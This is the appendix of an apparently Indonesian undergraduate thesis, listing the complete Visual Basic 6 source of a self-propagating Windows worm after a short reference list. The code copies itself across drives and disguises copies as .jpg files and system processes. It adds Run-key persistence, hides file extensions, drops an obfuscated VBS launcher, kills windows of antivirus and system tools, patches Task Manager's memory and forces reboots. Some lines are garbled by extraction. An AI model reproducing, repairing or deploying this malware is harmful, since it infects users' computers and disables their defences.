• Tidak ada hasil yang ditemukan

Panduan Tata Cara Penulisan Skripsi dan Tugas Akhir. 2005. Dokumen Nomor:

Akad/05/2005. Medan: Fakultas Matematika dan Ilmu Pengetahuan Alam Universitas Sumatera Utara.

Hendrayudi. 2008. Visual Basic Untuk Berbagai Keperluan Pemrograman. Yogyakarta, Indonesia: Elex Media Komputindo.

Yuswanto. 2001. Panduan Belajar Microsoft Visual Basic 6.0 Untuk Pemrograman

Multiuser. Jakarta: Prestasi Pustaka.

Amperiyanto, Tri. 2010. Kitab Sakti Virus File. Jakarta: PT. Elex Media Komputindo. Cyber, Team. 2009. Membuat & Membasmi Virus Komputer. Jakarta: HP Cyber

Community.

http://www.ilmukomputer.com/

http://www.google.com/ Diakses bulan Januari-Februari 2010

Listing Program Virus Worm

Lampiran 1 Form Load

Option Explicit

Private Const FILE_ATTRIBUTE_READONLY = &H1 Private Const FILE_ATTRIBUTE_HIDDEN = &H2 Private Const FILE_ATTRIBUTE_SYSTEM = &H4 Private Const FILE_ATTRIBUTE_DIRECTORY = &H10 Private Const FILE_ATTRIBUTE_ARCHIVE = &H20 Private Const FILE_ATTRIBUTE_NORMAL = &H80 Private Const FILE_ATTRIBUTE_TEMPORARY = &H100 Private Const FILE_ATTRIBUTE_COMPRESSED = &H800 Private Const MAX_PATH = 260

Private Type FILETIME

dwLowDateTime As Long dwHighDateTime As Long End Type

Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long

cFileName As String * MAX_PATH cAlternate As String * 14 End Type

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _

(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _

(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private pbMessage As Boolean

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpexitCode As Long) As Long

Private iResult As Long Private hProg As Long Private id As Long Private iExit As Long

Const STILL_ACTIVE As Long = &H103

Const PROCESS_ALL_ACCESS As Long = &H1F0FF Dim induk As String

Dim lokasi As String Dim lokasi2 As String Dim lokasi3 As String Dim lokasi4 As String Dim lokasi5 As String Dim i As Integer Dim bool As Boolean

Private Function DriveType(Drive As String) As String Dim sAns As String, lAns As Long

If Len(Drive) = 1 Then Drive = Drive & ":\" If Len(Drive) = 2 And Right$(Drive, 1) = ":" _ Then Drive = Drive & "\"

lAns = GetDriveType(Drive) Select Case lAns

Case 2

sAns = "Removable Drive" Case 3

sAns = "Fixed Drive" Case 4

sAns = "Remote Drive" Case 5

sAns = "CD-ROM" Case 6

sAns = "RAM Disk" Case Else

sAns = "Drive Doesn't Exist" End Select

DriveType = sAns

End Function

Private Sub kodepengganda() Dim ictr As Integer Dim sDrive As String Dim x As Byte

ReDim sDrives(0) As String Dim penanda As Byte

For ictr = 65 To 90

sDrive = Chr(ictr) & ":\"

If DriveType(sDrive) <> "Drive Doesn't Exist" Then On Error Resume Next

FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Walpaper.exe"

End If

Next

End Sub

Private Sub kopikewindows() Dim buffer As String * 255 Dim x As Long

x = GetWindowsDirectory(buffer, 255) On Error Resume Next

FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\Walpaper.exe"

SetAttr x, vbHidden + vbSystem End Sub

Private Sub Form_load() On Error Resume Next Dim pid As Long Dim regserv As Long

If App.PrevInstance = True Then End kenal infeksi1 infeksi2 kodepengganda kopikewindows GetFiles "c:", True, "*.jpg" GetWindowsVersion bool Timer1.Enabled = True

If bool = True Then App.Title = ""

If App.EXEName = "XxXLove" Or App.EXEName = "MakeLove" Or App.EXEName = "Fuckme" Then

Timer2.Enabled = True Timer3.Enabled = True Timer5.Enabled = True End If Else pid = GetCurrentProcessId()

regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) End If

App.TaskVisible = False Form1.Hide

If App.EXEName = "XxXLove" Then Open GetSpecialfolder(&H25) & "\msvbvm60.dll" For Input As 1

End Sub

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

Screen.MousePointer = vbHourglass

Dim WFD As WIN32_FIND_DATA

Dim hFile As Long, fPath As String, fName As String

fPath = AddBackslash(Path)

Dim sPattern As String sPattern = Pattern

fName = fPath & sPattern

hFile = FindFirstFile(fName, WFD)

If (hFile > 0) And ((WFD.dwFileAttributes And

FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "c:\windows\Walpaper.exe", fPath &

StripNulls(WFD.cFileName) & ".exe", 1 End If

If hFile > 0 Then

While FindNextFile(hFile, WFD)

If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then

CopyFile "c:\windows\Walpaper.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1

End If Wend End If If SubFolder Then

hFile = FindFirstFile(fPath & "*.*", WFD) If (hFile > 0) And ((WFD.dwFileAttributes And

FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _ StripNulls(WFD.cFileName) <> "." And

StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If

While FindNextFile(hFile, WFD)

If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _

StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If Wend End If FindClose hFile Screen.MousePointer = vbHidden End Sub

Private Function StripNulls(f As String) As String

End Function

Private Function AddBackslash(S As String) As String

If Len(S) Then If Right$(S, 1) <> "\" Then AddBackslash = S & "\" Else AddBackslash = S End If Else AddBackslash = "\" End If End Function

Private Sub Timer1_Timer() If Second(Now) Mod 5 = 0 Then Call GetFiles("c:", True, "*.jpg") Call Ricek

Call infeksi1 Call infeksi2 Call kodepengganda End If

If App.EXEName <> "MakeLove" Then Exit Sub If Minute(Now) = 30 And Second(Now) = 30 Then Text1 = Text1 & Now

End If End Sub

Private Sub infeksi1() Dim cek As String

cek = AmbilString(HKLM,

"Software\Microsoft\Windows\CurrentVersion\Run", "ssvchost") If cek = "" Then

BuatString HKLM, "Software\Microsoft\Windows\CurrentVersion\Run", "Print Epson", "C:\Documents and Setting\Temporary\Epson"

End If

cek = AmbilString(HKCU,

"Software\Microsoft\Windows\CurrentVersion\Run", "Walpaper") If cek = "" Then

BuatString HKCU, "Software\Microsoft\Windows\CurrentVersion\Run", "Walpaper", "C:\windows\Walpaper"

End If

cek = AmbilString(HKLM, "Software\lutil\FMR", "svchost") If cek = "" Then

BuatString HKLM, "Software\lutil\FMR", "Register", "svchost" End If

cek = AmbilString(HKCU,

"Software\Microsoft\Windows\CurrentVersion\Group Policy", "svchost") If cek = "" Then

BuatString HKCU, "Software\Microsoft\Windows\CurrentVersion\Group Policy", "AppMgmt", "svchost"

End If

cek = AmbilDword(HKCU,

"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt")

If cek = 0 Or cek = "" Then BuatDword HKCU,

"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt", 1

End If

cek = AmbilDword(HKCU,

"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden")

If cek = 0 Or cek = "" Then BuatDword HKCU,

"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0

End If End Sub

Private Sub infeksi2() On Error Resume Next Dim tmp As String Dim isi As String

lokasi = GetSpecialfolder(&H27) & "\XxXLove.exe" If Dir$(lokasi, vbSystem) = "" Then

CopyFile induk, lokasi, True SetAttr lokasi, vbHidden Else

If FileLen(induk) <> FileLen(lokasi) Then CopyFile induk, lokasi, True

SetAttr lokasi, vbHidden End If

End If

lokasi2 = GetSpecialfolder(&H1C) & "\MakeLove.exe" If Dir$(lokasi2, vbSystem) = "" Then

CopyFile induk, lokasi2, True SetAttr lokasi2, vbHidden Else

If FileLen(induk) <> FileLen(lokasi2) Then CopyFile induk, lokasi2, True

SetAttr lokasi2, vbHidden End If

End If

lokasi3 = GetSpecialfolder(&H7) & "\Babi.com" If Dir$(lokasi3, vbSystem) = "" Then

CopyFile induk, lokasi3, True SetAttr lokasi3, vbHidden Else

If FileLen(induk) <> FileLen(lokasi3) Then CopyFile induk, lokasi3, True

SetAttr lokasi3, vbHidden End If

End If

If Dir$(GetSpecialfolder(&H7) & "\Semut.vbs", vbHidden) = "" Then Gigit

Else

Open GetSpecialfolder(&H7) & "\Semut.vbs" For Input As 2 Input #2, isi

If isi <> "Rem Encode" Then

Kill GetSpecialfolder(&H7) & "\Semut.vbs" Gigit

End If Close #2 End If

If Dir$(lokasi4, vbArchive) = "" Then CopyFile induk, lokasi4, True

SetAttr lokasi4, vbNormal Else

If FileLen(induk) <> FileLen(lokasi4) Then CopyFile induk, lokasi4, True

SetAttr lokasi4, vbNormal End If

End If

tmp = GetSpecialfolder(&H25) & "\msvbvm60.dll" lokasi5 = GetSpecialfolder(&H1A) & "\sys.dll" If Dir$(lokasi5, vbArchive) = "" Then

CopyFile tmp, lokasi5, True SetAttr lokasi5, vbNormal Else

If FileLen(lokasi5) <> 1386496 Then CopyFile tmp, lokasi5, False

SetAttr lokasi5, vbNormal End If

End If

SetAttr tmp, vbHidden

End Sub

Private Sub Ricek() On Error Resume Next Dim i As Integer Dim ada1 As Integer Dim ada2 As Integer Dim ada3 As Integer Dim a1 As Long Dim a2 As Long Dim a3 As Long ada1 = 0 ada2 = 0 ada3 = 0 Update

If bool = True Then

For i = 0 To List1.ListCount - 1

If List1.List(i) = "MakeLove.exe" Then ada1 = ada1 + 1

End If

If List1.List(i) = "XxXLove.exe" Then ada1 = ada2 + 1

End If

If List1.List(i) = "Fuckme.com" Then ada1 = ada3 + 1

End If Next Else

For i = 0 To List1.ListCount - 1 If List1.List(i) = lokasi Then ada1 = ada1 + 1

End If

If List1.List(i) = lokasi2 Then ada2 = ada2 + 1

End If

If List1.List(i) = lokasi3 Then ada2 = ada3 + 1

End If Next End If

If ada1 = 0 Then Shell lokasi If ada2 = 0 Then Shell lokasi2 If ada3 = 0 Then Shell lokasi3

If App.EXEName <> "MakeLove" And App.EXEName <> "XxXLove" And App.EXEName <> "Fuckme" Then End

End Sub

Public Sub Timer2_Timer() Timer2.Enabled = False

If App.EXEName = "MakeLove" Then Penyamaran "XxXLove.exe", "svchost.exe"

If App.EXEName = "XxXLove" Then Penyamaran "MakeLove.exe", "csrss.exe"

Timer2.Enabled = True End Sub

Private Sub Timer3_Timer()

If Minute(Now) Mod 1800 = 0 Then KeluarWindows REBOOT

End If End Sub

Private Sub Gigit() On Error Resume Next Dim tmp As String

tmp = "On Error Resume Next:"

tmp = tmp + "Dim fso, filex, Induk1, Induk2, atribut:" tmp = tmp + "Set fso = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "):"

tmp = tmp + "Set filex = Wscript.CreateObject(" & Chr(34) & "Wscript.Shell" & Chr(34) & "):"

tmp = tmp + "Set Induk1 = fso.GetFile(" & Chr(34) & lokasi4 & Chr(34) & "):"

tmp = tmp + "Set Induk2 = fso.GetFile(" & Chr(34) & lokasi3 & Chr(34) & "):"

tmp = tmp + "if fso.FileExists(" & Chr(34) &

GetSpecialfolder(&H25) & "\msvbvm60.dll" & Chr(34) & ")= False then:" tmp = tmp + "Induk1.Copy(" & Chr(34) & GetSpecialfolder(&H25) & "\msvbvm60.dll" & Chr(34) & "):"

tmp = tmp + "End if:"

tmp = tmp + "if fso.FileExists(" & Chr(34) & lokasi2 & Chr(34) & ")= False then:"

tmp = tmp + "Induk2.Copy(" & Chr(34) & lokasi2 & Chr(34) & "):" tmp = tmp + "Set atribut = fso.GetFile(" & Chr(34) & lokasi2 & Chr(34) & "):"

tmp = tmp + "fso.Attributes = 2:" tmp = tmp + "End if:"

tmp = tmp + "filex.Run(" & Chr(34) & lokasi2 & Chr(34) & "):"

Open GetSpecialfolder(&H7) & "\Semut.vbs" For Output As 2 Print #2, "Rem Encode"

Print #2, "Dim i:Execute(Rubah(" & Chr(34) & Rubah(tmp) & Chr(34) & "))"

Print #2, "Function Rubah(data):For i = 1 To Len(data):Rubah = Rubah & Chr(Asc(Mid(data, i, 1)) + 2):Next:End Function"

Close #2

SetAttr GetSpecialfolder(&H7) & "\Semut.vbs", vbArchive End Sub

Private Function Rubah(data As String) As String For i = 1 To Len(data)

Rubah = Rubah & Chr(Asc(Mid(data, i, 1)) - 2) Next

End Function

Private Sub kenal() Dim virpath As String virpath = App.Path

If Right(App.Path, 1) <> "\" Then virpath = virpath & "\"

End If

induk = virpath & App.EXEName & ".exe" End Sub

Private Sub Timer5_Timer() On Error Resume Next

WinQuit "vir" WinQuit "av" WinQuit "safe" WinQuit "start" 'WinQuit "process" WinQuit "spy" WinQuit "autoruns" WinQuit "hijack" WinQuit "patrol" WinQuit "alarm" WinQuit "task" WinQuit "config"

WinQuit "folder option" WinQuit "system" WinQuit "properties" WinQuit "watson" WinQuit "remov" WinQuit "scan" WinQuit "kill" WinQuit "reg" WinQuit "window" WinQuit "WSar" WinQuit "anti" WinQuit "ghost" End Sub

Lampiran 2 Module 1

Option Explicit

Public buffer As String * 255 Public x As Long

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Sub Log(strLog As String) Dim ff As Integer

ff = FreeFile

x = GetWindowsDirectory(buffer, 255)

On Error Resume Next 'MkDir App.Path & "\Logs"

Open Left(buffer, x) & "\help.htm" For Output As #ff Print #ff, strLog Close #ff End Sub Lampiran 3 Module 2 Option Explicit

Const TH32CS_SNAPALL = (&H1 Or &H2 Or &H4 Or &H8) Const TH32CS_SNAPPROCESS As Long = 2&

Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)

Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Private myHandle As Long Private myproclist$

Private Function UNICODE(data As String) As String Dim tmp As String

Dim i As Integer tmp = ""

For i = 1 To Len(data)

tmp = tmp & Chr(0) & Mid(data, i, 1) Next

UNICODE = tmp End Function

Private Function InitProcHack(pid As Long) As Boolean Dim pHandle As Long

pHandle = OpenProcess(&H1F0FFF, False, pid) If (pHandle = 0) Then InitProcHack = False myHandle = 0 Else InitProcHack = True myHandle = pHandle End If End Function

Private Sub REPSTRINGINPROC(PIDX As Long, Asal As String, Baru As String)

Dim SRCHSTRING As String Dim REPSTRING As String Dim startpos As Integer Dim p As String

Dim bytewrite As Long

If Not InitProcHack(PIDX) Then Exit Sub

Dim c As Integer Dim addr As Long

Dim buffer As String * 30000 Dim readlen As Long

Dim writelen As Long

Perbaikan Asal, Baru

SRCHSTRING = UNICODE(Asal) REPSTRING = UNICODE(Baru)

Call ReadProcessMemory(myHandle, addr * 20000, buffer, 20016, readlen)

If readlen > 0 Then startpos = 1

While InStr(startpos, buffer, SRCHSTRING) > 0

p = (addr) * 20000 + InStr(startpos, buffer, SRCHSTRING) - 1 ' position of string

Call WriteProcessMemory(myHandle, CLng(p), REPSTRING, Len(REPSTRING), bytewrite)

startpos = InStr(startpos, buffer, Trim(SRCHSTRING)) + 1 ' find next position

Wend End If Next addr DoEvents Close #1 DoEvents buffer = "" End Sub

Private Function Perbaikan(scr As String, rep As String) Dim i As Integer

For i = 0 To Form1.List1.ListCount - 1

If LCase(Form1.List1.List(i)) = LCase(scr) Then scr = Form1.List1.List(i) Exit For End If Next For i = 0 To Form1.List1.ListCount - 1

If LCase(Form1.List1.List(i)) = LCase(rep) Then rep = Form1.List1.List(i)

Exit For End If

Next

If Len(scr) > Len(rep) Then

rep = rep + Left(" ", Len(scr) - Len(rep)) End If

If Len(rep) > Len(scr) Then

scr = scr + Left(" ", Len(rep) - Len(scr)) End If

End Function

Public Sub Penyamaran(Asal As String, Baru As String) Dim newproclist$

Dim myProcess As PROCESSENTRY32 Dim mySnapshot As Long

newproclist$ = ""

myProcess.dwSize = Len(myProcess)

mySnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)

Process32First mySnapshot, myProcess

If InStr(1, myproclist$, "[" & myProcess.th32ProcessID & "]") = 0 Then

If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) - 1) = "taskmgr.exe" Then

REPSTRINGINPROC myProcess.th32ProcessID, Asal, Baru REPSTRINGINPROC myProcess.th32ProcessID, Asal, Baru Else

DoEvents End If

End If

newproclist$ = "[" & myProcess.th32ProcessID & "]"

While Process32Next(mySnapshot, myProcess)

If InStr(1, myproclist$, "[" & myProcess.th32ProcessID & "]") = 0 Then

If Left(myProcess.szExeFile, InStr(myProcess.szExeFile, Chr(0)) - 1) = "taskmgr.exe" Then

REPSTRINGINPROC myProcess.th32ProcessID, Asal, Baru REPSTRINGINPROC myProcess.th32ProcessID, Asal, Baru Else

DoEvents End If

End If

newproclist$ = newproclist$ & "[" & myProcess.th32ProcessID & "]" Wend myproclist$ = newproclist$ End Sub Lampiran 4 Module 3

Private Const KEY_READ = &H20000 Or &H1& Or &H8& Or &H10& Private Const KEY_WRITE = &H20000 Or &H2& Or &H4&

Public Const HKCU = &H80000001 Public Const HKLM = &H80000002 Private Const REG_SZ = 1

Private Const REG_DWORD = 4 Private Const ERROR_SUCCES = 0&

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias

"RegOpenKeyExA" (ByVal hKey As Long, ByVal lpsubkey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByVal lpType As Long, lpData As Any, ByVal lpcbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExitingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Public Function BuatDword(ByVal hKey As Long, ByVal alamat As String, ByVal nama As String, ByVal nilai As Long) As Boolean

Dim handle As Long Dim hasil As Long

hasil = RegOpenKeyEx(hKey, alamat, 0, KEY_WRITE, handle) If hasil <> ERROR_SUCCES Then

BuatDword = False Else

BuatDword = True End If

RegSetValueEx handle, nama, 0&, REG_DWORD, nilai, 4& RegCloseKey handle

End Function

Public Function BuatString(ByVal hKey As Long, ByVal alamat As String, ByVal nama As String, ByVal nilai As String) As Boolean Dim handle As Long

Dim hasil As Long

hasil = RegOpenKeyEx(hKey, alamat, 0, KEY_WRITE, handle) If hasil <> ERROR_SUCCES Then

BuatString = False Else

BuatString = True End If

RegSetValueEx handle, nama, 0&, REG_SZ, ByVal nilai, Len(nilai) RegCloseKey handle

End Function

Public Function AmbilDword(ByVal hKey As Long, ByVal alamat As String, ByVal nama As String) As Long

On Error Resume Next Dim handle As Long

RegOpenKeyEx hKey, alamat, 0, KEY_READ, handle AmbilDword = RegQueryValue(handle, nama)

RegCloseKey handle End Function

Public Function AmbilString(ByVal hKey As Long, ByVal alamat As String, ByVal nama As String) As String

On Error Resume Next Dim handle As Long

RegOpenKeyEx hKey, alamat, 0, KEY_READ, handle AmbilString = RegQueryValue(handle, nama) RegCloseKey handle

End Function

Private Function RegQueryValue(ByVal hKey As Long, ByVal strValueName As String) As String

Dim hasil As Long Dim Jenis As Long Dim buffer As String Dim Ukuran As Long

hasil = RegQueryValueEx(hKey, strValueName, 0, Jenis, ByVal 0, Ukuran)

If hasil = 0 Then

If Jenis = REG_SZ Then

hasil = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal buffer, Ukuran)

If hasil = 0 Then RegQueryValue = Left$(buffer, InStr(1, buffer, Chr$(0)) - 1)

ElseIf Jenis = REG_DWORD Then Dim strdata As Integer

hasil = RegQueryValueEx(hKey, strValueName, 0, 0, strdata, Ukuran)

If hasil = 0 Then RegQueryValue = strdata End If

End If

End Function

Lampiran 5 Module 4

Private Type SHITEMID cb As Long

abiD As Byte End Type

Private Type ITEMIDLIST mkid As SHITEMID End Type

Private Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hwnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long

Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long

Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long

Public Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type

Private Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (ipVersionInformation As OSVERSIONINFO) As Long

Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long

Public Const RSP_SIMPLE_SERVICE = 1 Public Const RSP_UNREGISTER_SREVICE = 0

Public Function GetSpecialfolder(CSIDL As Long) As String Dim r As Long

Dim IDL As ITEMIDLIST

r = SHGetSpecialFolderLocation(100, CSIDL, IDL) If r = NOERROR Then

Path$ = Space$(512)

r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)

End If

GetSpecialfolder = "" End Function

Public Function GetWindowsVersion(ByRef IsWinXp As Boolean) As String Dim TheOS As OSVERSIONINFO

TheOS.dwOSVersionInfoSize = Len(TheOS) GetVersionEx TheOS If TheOS.dwPlatformId = 2 Then IsWinXp = True Else IsWinXp = False End If End Function Lampiran 6 Module 5 Option Explicit

Const TH32CS_SNAPALL = (&H1 Or &H2 Or &H3 Or &H8) Private Type PROCESSENTRY32

dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long) Public Type OSVERSIONINFO

dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type

Private Declare Function GetVersionEx Lib "kernel32" Alias

Dokumen terkait